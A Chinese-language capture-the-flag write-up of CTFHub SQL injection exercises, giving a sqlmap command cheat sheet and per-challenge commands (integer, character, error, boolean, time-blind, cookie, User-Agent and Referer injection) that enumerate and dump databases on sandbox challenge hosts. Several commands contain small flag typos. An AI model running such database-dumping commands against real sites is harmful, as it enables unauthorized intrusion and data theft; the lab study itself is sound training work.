一、学习工具使用方法
先简单了解一些相关知识
对url爆破:
sqlmap -u url #判断注入点
sqlmap -u url --current-dbs #查看当前所有数据库
sqlmap -u url --current-db #查看当前数据库
sqlmap -u url -D 库名 --tables #爆表
sqlmap -u url -D 库名 -T 表名 --columns #爆字段
sqlmap -u url -D 库名 -T 表名 --C 字段名1,字段名2 --dump #爆数据
sqlmap -u url -D 库名 --dump-all #爆出数据库中所有数据
对抓取包爆破:
sqlmap -r http.txt #http.txt使我们抓取的http请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
二、开始做题
1、整数型注入
这里的话我使用CTFHub进行学习,需要在kali上打开
首先输入sqlmap看看能不能用sqlmap
出现这个说明可以使用
接下来看看是否存在sql注入漏洞。那就尝试注入一下子
sqlmap -u "网址" --current-dbs,得到库名为sqli
然后就可以爆表
sqlmap -u "网址" --batch -D sqli --tables
发现目标flag表,直接爆字段
sqlmap -u "网址" --batch -D sqli -T flag -dump
得到flag!!!
2、字符型注入
和这个一摸一样,没什么好说的。
3、报错注入
这里将注入手写一下,加强记忆
探查是否存在注入漏洞sqlmap -u "url" --current-dbs
爆库 sqlmap -u "url" --current-db
爆表 sqlmap -u "url" --batch -D sqli --tables
爆内容 sqlmap -u "url" --batch -D sqli -T flag --dump
爆内容sqlmap -u "url" --batch -D sqli -T flag --C flag --dump
4、布尔注入
和报错注入一样的,还是写一下注入
探查 sqlmap -u "url" --current-dbs
爆库 sqlmap -u "url" --current-db
爆表 sqlmap -u "url" batch -D sqli --tables
爆内容 sqlmap -u "url" --batch -D sqli -T flag --dump
无法爆出内容,sqlmap检测到没有发现注入漏洞,真是太奇怪了 ,这个先放一放吧
5、时间盲注
爆库
sqlmap -u "http://challenge-c45464d11c028e05.sandbox.ctfhub.com:10800/?id=1" -dbs
爆表
sqlmap -u "http://challenge-c45464d11c028e05.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
爆内容
sqlmap -u “http://challenge-c45464d11c028e05.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump
6、MYSQL结构
sqlmap -u "http://challenge-df6c8ba5f13120e7.sandbox.ctfhub.com:10800/?id=1" -dbs
sqlmap -u "http://challenge-df6c8ba5f13120e7.sandbox.ctfhub.com:10800/?id=1" -D sqli -tables
sqlmap -u "http://challenge-df6c8ba5f13120e7.sandbox.ctfhub.com:10800/?id=1" -D sqli -T news -dump
sqlmap -u "http://challenge-df6c8ba5f13120e7.sandbox.ctfhub.com:10800/?id=1" -D sqli -T pnefvynfbk -dump
ctfhub{37adf932f75b13e31a906500}
7、cookie注入
这里的过关环境放在了windows上了,比较方便
burp抓包后看看cookie
然后直接开始注入,等级调到level2
python sqlmap.py -u "http://challenge-fd0c138d10c82556.sandbox.ctfhub.com:10800/" --batch --cookie " id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 --current-db
然后直接用dump一步到位、
python sqlmap.py -u "http://challenge-fd0c138d10c82556.sandbox.ctfhub.com:10800/" --batch --cookie " id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli -dump
8、UA注入
python sqlmap.py -u "http://challenge-355330b091a44d9a.sandbox.ctfhub.com:10800/" --batch --level3 --current-db
python sqlmap.py -u "http://challenge-355330b091a44d9a.sandbox.ctfhub.com:10800/" --batch --level 3 -D sqli -dump
9、Refer注入
python sqlmap.py -u "http://challenge-b3ee4691d0a50ae2.sandbox.ctfhub.com:10800/" --batch --level 4 --current-db
python sqlmap.py -u "http://challenge-b3ee4691d0a50ae2.sandbox.ctfhub.com:10800/" --batch --level 4 -D sqli -dump
足足一个小时才完成。。。记得给环境续期